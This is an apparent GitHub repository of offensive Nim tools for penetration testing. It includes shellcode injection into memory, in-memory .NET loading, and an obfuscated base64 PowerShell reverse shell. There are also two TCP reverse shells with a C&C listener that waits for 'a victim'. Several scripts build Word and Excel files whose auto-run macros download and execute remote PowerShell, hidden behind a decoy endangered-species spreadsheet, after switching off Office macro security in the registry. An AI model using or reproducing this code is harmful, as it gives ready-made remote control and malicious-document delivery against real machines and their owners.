├── .gitattributes ├── BuildCLRNim.bat ├── ConvertToNimArray.cs ├── LICENSE ├── README.md ├── compilation.txt ├── loadCLR.nim ├── peinjection.nim ├── powershellnim.nim ├── procinjection.nim ├── tcprevcontroller.nim ├── tcprevshellvariant1.nim ├── tcprevshellvariant2.nim ├── wordmac.nim ├── xlmacrovairant1.nim ├── xlmacrovairant2.nim └── xlmacrovairant3.nim /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /BuildCLRNim.bat: -------------------------------------------------------------------------------- 1 | nim c --hints:off --warnings:off --app=gui -d:release -d:strip --opt:size --passc=-flto --passl=-flto .\clrassembly.nim -------------------------------------------------------------------------------- /ConvertToNimArray.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | /// 5 | /// Programmer : Diljith Suresh 6 | /// 7 | namespace ConvertToNimArray 8 | { 9 | class Program 10 | { 11 | static void Main(string[] args) 12 | { 13 | if(args.Length < 1) 14 | { 15 | Console.WriteLine("Please specify file path argument."); 16 | return; 17 | } 18 | string binpath = args[0]; 19 | byte[] readassembly = File.ReadAllBytes(binpath); 20 | 21 | 22 | StringBuilder hexCodes = new StringBuilder(readassembly.Length * 2); 23 | foreach (byte b in readassembly) 24 | { 25 | hexCodes.AppendFormat("0x{0:x2},", b); 26 | } 27 | 28 | string nimarray = "var buf: array[" + readassembly.Length.ToString() + ", byte]" + " = [byte "; 29 | Console.WriteLine(nimarray + hexCodes.ToString().Substring(0, hexCodes.ToString().Length - 1) + "]"); 30 | Console.ReadLine(); 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 aalphaas 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Nim for Pentest 2 | 3 | ## Some of my nim learning experiments 4 | 5 | ### Projects 6 | 7 | ### 1 : PE Injection 8 | ### 2 : Load Dot Net binary to memory and execute 9 | ### 3 : Powershell reverse shell without invoking Powershell.exe 10 | ### 4 : TCP reverse shell 11 | ### 5 : Excel Macro automation 12 | ### 6 : Word Macro automation 13 | 14 | ### Effective Build option 15 | #### nim c --hints:off --warnings:off --app=gui -d:release -d:strip --opt:size --passc=-flto --passl=-flto .\sourcecode.nim 16 | 17 | #### A big thanks to https://github.com/byt3bl33d3r/OffensiveNim for WinAPI and other advanced base codes 18 | 19 | ### Author 20 | #### * **Diljith S** - *Initial work* - https://github.com/diljithishere -------------------------------------------------------------------------------- /compilation.txt: -------------------------------------------------------------------------------- 1 | https://nim-lang.org/docs/nimc.html 2 | 3 | nim c -d:release myproject.nim 4 | 5 | nim c --cc:llvm_gcc --compile_only myfile.nim 6 | 7 | 8 | nim c --cpu:i386 --os:linux --compileOnly --genScript myproject.nim 9 | 10 | nim c --cpu:arm --os:linux myproject.nim 11 | 12 | arm.linux.gcc.path = "/usr/bin" 13 | arm.linux.gcc.exe = "arm-linux-gcc" 14 | arm.linux.gcc.linkerexe = "arm-linux-gcc" 15 | 16 | Windows build from linux 17 | nim c -d:mingw myproject.nim 18 | 19 | nim c -c test.nim 20 | 21 | nim c -r --threads:on src/client.nim 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /loadCLR.nim: -------------------------------------------------------------------------------- 1 | import winim/clr 2 | 3 | var buf: array[9728, byte] = [byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00] 4 | var assembly = load(buf) 5 | 6 | var arr = toCLRVariant([""], VT_BSTR) # Passing no arguments 7 | assembly.EntryPoint.Invoke(nil, toCLRVariant([arr])) 8 | 9 | #arr = toCLRVariant(["From Nim & .NET!"], VT_BSTR) # Actually passing some args 10 | #assembly.EntryPoint.Invoke(nil, toCLRVariant([arr])) 11 | 12 | -------------------------------------------------------------------------------- /peinjection.nim: -------------------------------------------------------------------------------- 1 | import winim/lean 2 | 3 | when defined(windows): #Checks whether this Nim code is being compiled on Windows 4 | var shellcode: array[791, byte] = [ 5 | byte 0x07,0x4e,0xaf,0x7d,0x48,0xd6,0x6e,0x46,0x8e, 6 | 0x9f,0xe7,0xf4,0xdb,0x16,0x50,0xcf,0x34,0xad,0x71,0x7d,0x70,0x9f,0xa9,0x86, 7 | 0x8e,0x40,0x32,0xbc,0x11,0x5b,0x89,0x03,0x4e,0xcb,0x55,0x92,0x19,0x98,0xe1, 8 | 0x87,0x4d,0x3a,0x27,0x81,0x40,0xc7,0x6a,0xde,0xe4,0xbf,0xbe,0xbd,0x55,0x5d, 9 | 0x59,0x33,0x2c,0xe9,0x18,0x21,0x92,0x9f,0xa9,0x86,0x8e] 10 | 11 | let shellCodePtr = VirtualAlloc(nil,cast[SIZE_T](shellcode.len), MEM_COMMIT,PAGE_EXECUTE_READ_WRITE) 12 | 13 | copyMem(shellCodePtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len)) # Copy Shellcode to the allocated memory section 14 | let tHandle = CreateThread(cast[LP_SECURITY_ATTRIBUTES](0), cast[SIZE_T](shellcode.len),cast[LPTHREAD_START_ROUTINE](shellCodePtr),cast[LPVOID](0),cast[DWORD](0),cast[LPDWORD](0)) # Run shell code 15 | WaitForSingleObject(cast[HANDLE](tHandle), cast[DWORD](0xFFFFFFFF)) -------------------------------------------------------------------------------- /powershellnim.nim: -------------------------------------------------------------------------------- 1 | import winim/clr 2 | import base64 3 | 4 | 5 | var Automation = load("System.Management.Automation") 6 | var RunspaceFactory = Automation.GetType("System.Management.Automation.Runspaces.RunspaceFactory") 7 | 8 | var runspace = @RunspaceFactory.CreateRunspace() 9 | 10 | runspace.Open() 11 | 12 | var pipeline = runspace.CreatePipeline() 13 | let strdecode = decode("ZnVuY3Rpb24gbWVzc3VwIHsNCmlmICgkY2xpZW50LkNvbm5lY3RlZCAtZXEgJHRydWUpIHskY2xpZW50LkNsb3NlKCl9DQppZiAoJHByb2Nlc3MuRXhpdENvZGUgLW5lICRudWxsKSB7JHByb2Nlc3MuQ2xvc2UoKX0NCmV4aXR9DQokYWRkcmVzcyA9ICcxOTIuMTY4LjEuNjgnDQokcG9ydCA9ICc0NDMnDQokY2xpZW50ID0gTmV3LU9iamVjdCBzeXN0ZW0ubmV0LnNvY2tldHMudGNwY2xpZW50DQokY2xpZW50LmNvbm5lY3QoJGFkZHJlc3MsJHBvcnQpDQokc3RyZWFtID0gJGNsaWVudC5HZXRTdHJlYW0oKQ0KJG5ldHdvcmtidWZmZXIgPSBOZXctT2JqZWN0IFN5c3RlbS5CeXRlW10gJGNsaWVudC5SZWNlaXZlQnVmZmVyU2l6ZQ0KJHByb2Nlc3MgPSBOZXctT2JqZWN0IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzDQokcHJvY2Vzcy5TdGFydEluZm8uRmlsZU5hbWUgPSAnQzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbWQuZXhlJw0KJHByb2Nlc3MuU3RhcnRJbmZvLlJlZGlyZWN0U3RhbmRhcmRJbnB1dCA9IDENCiRwcm9jZXNzLlN0YXJ0SW5mby5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0ID0gMQ0KJHByb2Nlc3MuU3RhcnRJbmZvLlVzZVNoZWxsRXhlY3V0ZSA9IDANCiRwcm9jZXNzLlN0YXJ0KCkNCiRpbnB1dHN0cmVhbSA9ICRwcm9jZXNzLlN0YW5kYXJkSW5wdXQNCiRvdXRwdXRzdHJlYW0gPSAkcHJvY2Vzcy5TdGFuZGFyZE91dHB1dA0KU3RhcnQtU2xlZXAgMQ0KJGVuY29kaW5nID0gbmV3LW9iamVjdCBTeXN0ZW0uVGV4dC5Bc2NpaUVuY29kaW5nDQp3aGlsZSgkb3V0cHV0c3RyZWFtLlBlZWsoKSAtbmUgLTEpeyRvdXQgKz0gJGVuY29kaW5nLkdldFN0cmluZygkb3V0cHV0c3RyZWFtLlJlYWQoKSl9DQokc3RyZWFtLldyaXRlKCRlbmNvZGluZy5HZXRCeXRlcygkb3V0KSwwLCRvdXQuTGVuZ3RoKQ0KJG91dCA9ICRudWxsOyAkZG9uZSA9ICRmYWxzZTsgDQp3aGlsZSAoLW5vdCAkZG9uZSkgew0KaWYgKCRjbGllbnQuQ29ubmVjdGVkIC1uZSAkdHJ1ZSkge21lc3N1cH0NCiRwb3MgPSAwOyAkaSA9IDENCndoaWxlICgoJGkgLWd0IDApIC1hbmQgKCRwb3MgLWx0ICRuZXR3b3JrYnVmZmVyLkxlbmd0aCkpIHsNCiRyZWFkID0gJHN0cmVhbS5SZWFkKCRuZXR3b3JrYnVmZmVyLCRwb3MsJG5ldHdvcmtidWZmZXIuTGVuZ3RoIC0gJHBvcykNCiRwb3MrPSRyZWFkOyBpZiAoJHBvcyAtYW5kICgkbmV0d29ya2J1ZmZlclswLi4kKCRwb3MtMSldIC1jb250YWlucyAxMCkpIHticmVha319DQppZiAoJHBvcyAtZ3QgMCkgew0KJHN0cmluZyA9ICRlbmNvZGluZy5HZXRTdHJpbmcoJG5ldHdvcmtidWZmZXIsMCwkcG9zKQ0KJGlucHV0c3RyZWFtLndyaXRlKCRzdHJpbmcpDQpzdGFydC1zbGVlcCAxDQppZiAoJHByb2Nlc3MuRXhpdENvZGUgLW5lICRudWxsKSB7bWVzc3VwfQ0KZWxzZSB7DQokb3V0ID0gJGVuY29kaW5nLkdldFN0cmluZygkb3V0cHV0c3RyZWFtLlJlYWQoKSkNCndoaWxlKCRvdXRwdXRzdHJlYW0uUGVlaygpIC1uZSAtMSl7DQokb3V0ICs9ICRlbmNvZGluZy5HZXRTdHJpbmcoJG91dHB1dHN0cmVhbS5SZWFkKCkpOyBpZiAoJG91dCAtZXEgJHN0cmluZykgeyRvdXQgPSAnJ319DQokc3RyZWFtLldyaXRlKCRlbmNvZGluZy5HZXRCeXRlcygkb3V0KSwwLCRvdXQubGVuZ3RoKQ0KJG91dCA9ICRudWxsDQokc3RyaW5nID0gJG51bGx9fSBlbHNlIHttZXNzdXB9fQ==") 14 | #echo strdecode 15 | pipeline.Commands.AddScript(strdecode) 16 | 17 | pipeline.Invoke() 18 | 19 | runspace.Close() 20 | 21 | -------------------------------------------------------------------------------- /procinjection.nim: -------------------------------------------------------------------------------- 1 | import winim/lean 2 | 3 | when defined(windows): #Checks whether this Nim code is being compiled on Windows 4 | echo GetProcessId("explore.exe") 5 | # ToDO 6 | 7 | -------------------------------------------------------------------------------- /tcprevcontroller.nim: -------------------------------------------------------------------------------- 1 | import net 2 | #To Do 3 | var server: Socket = newSocket() 4 | #server.setSockOpt(OptReuseAddr, true) 5 | server.bindAddr(Port(443)) 6 | server.listen() 7 | stdout.writeLine("Waiting for a victim ....") 8 | 9 | var client: Socket 10 | var address = "" 11 | var cmresult: string 12 | while true: 13 | server.acceptAddr(client,address) 14 | echo("Client connected from: ", address) 15 | 16 | var command = readLine(stdin) 17 | echo(command) 18 | 19 | client.send(command) 20 | echo("received res") 21 | cmresult = client.recvLine() 22 | stdout.writeLine(cmresult) 23 | 24 | if cmresult == "bye": 25 | break 26 | 27 | server.close() -------------------------------------------------------------------------------- /tcprevshellvariant1.nim: -------------------------------------------------------------------------------- 1 | import net 2 | import osproc # for execCmdEx 3 | import os 4 | 5 | # Your C&C server IP and Port 6 | var ip = "192.168.1.68" 7 | var port = 443 8 | 9 | 10 | # Create a new socket 11 | var socket = newSocket() 12 | var finalcommand : string 13 | while true: 14 | try: 15 | socket.connect(ip, Port(port)) # Connect to our C&C server 16 | 17 | # On a successful connection receive command from C&C server , execute the command and send back result 18 | while true: 19 | try: 20 | socket.send(" ") 21 | var command = socket.recvLine() # Reads the command from our server to get executed on the victim machine 22 | if command == "bye": 23 | socket.send("Exiting Nim Shell") 24 | socket.close() 25 | system.quit(0) 26 | if system.hostOS == "windows": 27 | finalcommand = "cmd /C" & command 28 | else: 29 | finalcommand = "/bin/sh -c" & command 30 | var (cmdres, _) = execCmdEx(finalcommand) # Executes the command and saves the result in cmdres 31 | socket.send(cmdres) # Sends back the result to the C&C server 32 | except: 33 | socket.close() 34 | system.quit(0) 35 | 36 | # if connection fails , try after 5 seconds 37 | except: 38 | echo "Connection failed, Retry after 5 seconds..." 39 | sleep(5000) # Wait for 5 seconds 40 | continue -------------------------------------------------------------------------------- /tcprevshellvariant2.nim: -------------------------------------------------------------------------------- 1 | import net 2 | import osproc # for execCmdEx 3 | import os 4 | 5 | # Your C&C server IP and Port 6 | var ip = "192.168.1.68" 7 | var port = 443 8 | 9 | 10 | # Create a new socket 11 | var socket = newSocket() 12 | var finalcommand : string 13 | 14 | try: 15 | socket.connect(ip, Port(port)) # Connect to our C&C server 16 | 17 | # On a successful connection receive command from C&C server , execute the command and send back result 18 | while true: 19 | var command = socket.recvLine() # Reads the command from our server to get executed on the victim machine 20 | echo(command) 21 | if command == "bye": 22 | socket.send("Exiting Nim Shell") 23 | socket.close() 24 | system.quit(0) 25 | if system.hostOS == "windows": 26 | finalcommand = "cmd /C" & command 27 | else: 28 | finalcommand = "/bin/sh -c" & command 29 | var (cmdres, _) = execCmdEx(finalcommand) # Executes the command and saves the result in cmdres 30 | socket.send(cmdres) # Sends back the result to the C&C server 31 | 32 | socket.close() 33 | system.quit(0) 34 | 35 | # if connection fails , try after 5 seconds 36 | except: 37 | echo "Connection failed." 38 | -------------------------------------------------------------------------------- /wordmac.nim: -------------------------------------------------------------------------------- 1 | import winim/com 2 | import strformat 3 | import os 4 | 5 | let wordfilename = paramStr(1) 6 | comScript: 7 | var objMsWord = CreateObject("Word.Application") 8 | var WshShell = CreateObject("WScript.Shell") 9 | var Application_Version = objMsWord.Version 10 | 11 | 12 | var strVBOMRegPath = fmt"HKEY_CURRENT_USER\Software\Microsoft\Office\{Application_Version}\Word\Security\AccessVBOM" 13 | var strVBAWarnRegPath = fmt"HKEY_CURRENT_USER\Software\Microsoft\Office\{Application_Version}\Word\Security\VBAWarnings" 14 | WshShell.RegWrite(strVBOMRegPath, 1, "REG_DWORD") 15 | WshShell.RegWrite(strVBAWarnRegPath, 1, "REG_DWORD") 16 | 17 | objMsWord.visible = true 18 | objMsWord.displayalerts = false 19 | 20 | #var objWordDoc = objMsWord.documents.Add() 21 | #var fn = r"D:\Dev369\NimForPentest\test.doc" 22 | #var objWordDoc = objMsWord.documents.Open(fn,ConfirmConversions:=FALSE,ReadOnly:=1,AddToRecentFiles:=0,PasswordDocument:="",PasswordTemplate:=0,Revert:=0,WritePasswordDocument:="",WritePasswordTemplate:="",Format:=0,Encoding:=20127,Visible:=0,OpenAndRepair:=0,DocumentDirection:=0,NoEncodingDialog:=0,XMLTransform:=0) 23 | var objWordDoc = objMsWord.documents.Add() 24 | objWordDoc.Activate() 25 | var wordVBmodule = objWordDoc.VBProject.VBComponents.Add(1) 26 | var strMacroRevShell = """Sub Auto_Open() 27 | Call Shell("cmd.exe /c powershell.exe IEX(IWR -uri 'http://192.168.1.75:443/getit.txt')", 0) 28 | End Sub""" 29 | wordVBmodule.CodeModule.AddFromString(strMacroRevShell) 30 | 31 | echo wordfilename 32 | #objWordDoc.SaveAs(wordfilename,0) 33 | objWordDoc.SaveAs(wordfilename,FileFormat:=0,Password:="",WritePassword:="",ReadOnlyRecommended:=FALSE,AddToRecentFiles:=0,EmbedTrueTypeFonts:=0,SaveNativePictureFormat:=0,SaveFormsData:=0,SaveAsAOCELetter:=0,Encoding:=20127,InsertLineBreaks:=0,AllowSubstitutions:=TRUE,LineEnding:=0,AddBiDiMarks:=0) 34 | #objWordDoc.SaveAs(wordfilename,FileFormat:=0,LockComments:=0,Password:="",AddToRecentFiles:=0,WritePassword:="",ReadOnlyRecommended:=0,EmbedTrueTypeFonts:=0,SaveNativePictureFormat:=0,SaveFormsData:=0,SaveAsAOCELetter:=0,Encoding:=0,InsertLineBreaks:=0,AllowSubstitutions:=0,LineEnding:=0,AddBiDiMarks:=0) 35 | WshShell.RegWrite(strVBOMRegPath, 0, "REG_DWORD") 36 | WshShell.RegWrite(strVBAWarnRegPath, 0, "REG_DWORD") 37 | objWordDoc.Close(false) 38 | #COM_FullRelease() # make sure word.exe will end it self -------------------------------------------------------------------------------- /xlmacrovairant1.nim: -------------------------------------------------------------------------------- 1 | import winim/com 2 | import strformat 3 | 4 | var objExcel = CreateObject("Excel.Application") 5 | objExcel.Visible= false 6 | var WshShell = CreateObject("WScript.Shell") 7 | var Application_Version = objExcel.Version 8 | 9 | var strRegPath = fmt"HKEY_CURRENT_USER\Software\Microsoft\Office\{Application_Version}\Excel\Security\AccessVBOM" 10 | WshShell.RegWrite(strRegPath, 1, "REG_DWORD") 11 | var objWorkbook = objExcel.Workbooks.Add() 12 | var xlmodule = objWorkbook.VBProject.VBComponents.Add(1) 13 | var strMacroRevShell = """Sub Auto_Open() 14 | Call Shell(""cmd.exe /c powershell.exe IEX(IWR -uri 'http://192.168.1.75:443/getit.txt')"", 1) 15 | End Sub""" 16 | xlmodule.CodeModule.AddFromString(strMacroRevShell) 17 | objWorkbook.SaveAs("test.xls") 18 | objExcel.DisplayAlerts = false 19 | objWorkbook.Close(false) 20 | 21 | 22 | -------------------------------------------------------------------------------- /xlmacrovairant2.nim: -------------------------------------------------------------------------------- 1 | import winim/com 2 | import strformat 3 | 4 | comScript: 5 | var objExcel = CreateObject("Excel.Application") 6 | var WshShell = CreateObject("WScript.Shell") 7 | var Application_Version = objExcel.Version 8 | 9 | 10 | var strVBOMRegPath = fmt"HKEY_CURRENT_USER\Software\Microsoft\Office\{Application_Version}\Excel\Security\AccessVBOM" 11 | var strVBAWarnRegPath = fmt"HKEY_CURRENT_USER\Software\Microsoft\Office\{Application_Version}\Excel\Security\VBAWarnings" 12 | WshShell.RegWrite(strVBOMRegPath, 1, "REG_DWORD") 13 | WshShell.RegWrite(strVBAWarnRegPath, 1, "REG_DWORD") 14 | 15 | objExcel.visible = true 16 | objExcel.sheetsInNewWorkBook = 1 17 | objExcel.displayalerts = false 18 | 19 | var objWorkbook = objExcel.workbooks.add() 20 | var xlmodule = objWorkbook.VBProject.VBComponents.Add(1) 21 | var strMacroRevShell = """Sub Workbook_Open() 22 | Call Shell("cmd.exe /c powershell.exe IEX(IWR -uri 'http://192.168.1.75:443/getit.txt')", 1) 23 | End Sub""" 24 | xlmodule.CodeModule.AddFromString(strMacroRevShell) 25 | objExcel.activeSheet.name = "Critically Endangered" 26 | 27 | 28 | 29 | for i, j in ["Mammals", "Birds", "Reptiles", "Fishes", "Plants"]: 30 | objExcel.activeSheet.cells(1, i + 1) = j # this line needs comScript macro 31 | 32 | for cell in objExcel.activeSheet.range("A1:E1"): 33 | cell.interior.color = RGB(0xee, 0xdd, 0x82) 34 | cell.interior.pattern = 1 35 | cell.font.size = 13 36 | cell.borders.color = RGB(0, 0, 0) 37 | cell.borders.lineStyle = 1 38 | cell.borders.weight = 2 39 | 40 | var sheet = objExcel.activeSheet 41 | sheet.range("A2").value = 184 42 | sheet.range("B2").value = 182 43 | sheet.range("C2").value = 57 44 | sheet.range("D2").value = 162 45 | sheet.range("E2").value = 1276 46 | 47 | sheet.range("A4:E4").merge() 48 | sheet.range("A4").value = "Source: IUCN Red List 2003" 49 | sheet.range("A1:E2").borderAround(1, 2, nil.variant, RGB(0, 0, 0)) 50 | 51 | sheet.columns("A:E").columnWidth = 12.5 52 | 53 | var xrange = objExcel.activeSheet.range("A1:E2") 54 | var xchart = objWorkbook.charts.add() 55 | xchart.chartWizard(xrange, -4100, 7, 1, 1, 0, false, "Critically Endangered Plants and Animals") 56 | xchart.HasAxis(3) = false 57 | var fn = r"D:\Dev369\NimForPentest\test.xls" 58 | objWorkbook.SaveAs(fn,FileFormat:=56,Password:=0,WriteResPassword:=0,ReadOnlyRecommended:=0,CreateBackup:=0,AccessMode:=1,ConflictResolution:=3,AddToMru:=0,TextCodepage:=0,TextVisualLayout:=0,Local:=0) 59 | WshShell.RegWrite(strVBOMRegPath, 0, "REG_DWORD") 60 | WshShell.RegWrite(strVBAWarnRegPath, 0, "REG_DWORD") 61 | COM_FullRelease() # make sure excel.exe will end it self -------------------------------------------------------------------------------- /xlmacrovairant3.nim: -------------------------------------------------------------------------------- 1 | import winim/com 2 | import strformat 3 | import os 4 | 5 | let xlfilename = paramStr(1) 6 | comScript: 7 | var objExcel = CreateObject("Excel.Application") 8 | var WshShell = CreateObject("WScript.Shell") 9 | var Application_Version = objExcel.Version 10 | 11 | 12 | var strVBOMRegPath = fmt"HKEY_CURRENT_USER\Software\Microsoft\Office\{Application_Version}\Excel\Security\AccessVBOM" 13 | var strVBAWarnRegPath = fmt"HKEY_CURRENT_USER\Software\Microsoft\Office\{Application_Version}\Excel\Security\VBAWarnings" 14 | WshShell.RegWrite(strVBOMRegPath, 1, "REG_DWORD") 15 | WshShell.RegWrite(strVBAWarnRegPath, 1, "REG_DWORD") 16 | 17 | objExcel.visible = false 18 | objExcel.sheetsInNewWorkBook = 1 19 | objExcel.displayalerts = false 20 | 21 | var objWorkbook = objExcel.workbooks.add() 22 | var xlmodule = objWorkbook.VBProject.VBComponents.Add(1) 23 | var strMacroRevShell = """Sub Auto_Open() 24 | Call Shell("cmd.exe /c powershell.exe IEX(IWR -uri 'http://192.168.1.75:443/getit.txt')", 1) 25 | End Sub""" 26 | xlmodule.CodeModule.AddFromString(strMacroRevShell) 27 | objExcel.activeSheet.name = "Critically Endangered" 28 | 29 | for i, j in ["Mammals", "Birds", "Reptiles", "Fishes", "Plants"]: 30 | objExcel.activeSheet.cells(1, i + 1) = j # this line needs comScript macro 31 | 32 | for cell in objExcel.activeSheet.range("A1:E1"): 33 | cell.interior.color = RGB(0xee, 0xdd, 0x82) 34 | cell.interior.pattern = 1 35 | cell.font.size = 13 36 | cell.borders.color = RGB(0, 0, 0) 37 | cell.borders.lineStyle = 1 38 | cell.borders.weight = 2 39 | 40 | var sheet = objExcel.activeSheet 41 | sheet.range("A2").value = 184 42 | sheet.range("B2").value = 182 43 | sheet.range("C2").value = 57 44 | sheet.range("D2").value = 162 45 | sheet.range("E2").value = 1276 46 | 47 | sheet.range("A4:E4").merge() 48 | sheet.range("A4").value = "Source: IUCN Red List 2003" 49 | sheet.range("A1:E2").borderAround(1, 2, nil.variant, RGB(0, 0, 0)) 50 | 51 | sheet.columns("A:E").columnWidth = 12.5 52 | 53 | var xrange = objExcel.activeSheet.range("A1:E2") 54 | var xchart = objWorkbook.charts.add() 55 | xchart.chartWizard(xrange, -4100, 7, 1, 1, 0, false, "Critically Endangered Plants and Animals") 56 | xchart.HasAxis(3) = false 57 | #var fn = r"D:\Dev369\NimForPentest\test.xls" 58 | objWorkbook.SaveAs(xlfilename,FileFormat:=56,Password:="",WriteResPassword:="",ReadOnlyRecommended:=FALSE,CreateBackup:=0,AccessMode:=1,ConflictResolution:=3,AddToMru:=0,TextCodepage:=0,TextVisualLayout:=0,Local:=0) 59 | WshShell.RegWrite(strVBOMRegPath, 0, "REG_DWORD") 60 | WshShell.RegWrite(strVBAWarnRegPath, 0, "REG_DWORD") 61 | objExcel.DisplayAlerts = false 62 | objWorkbook.Close(false) 63 | COM_FullRelease() # make sure excel.exe will end it self --------------------------------------------------------------------------------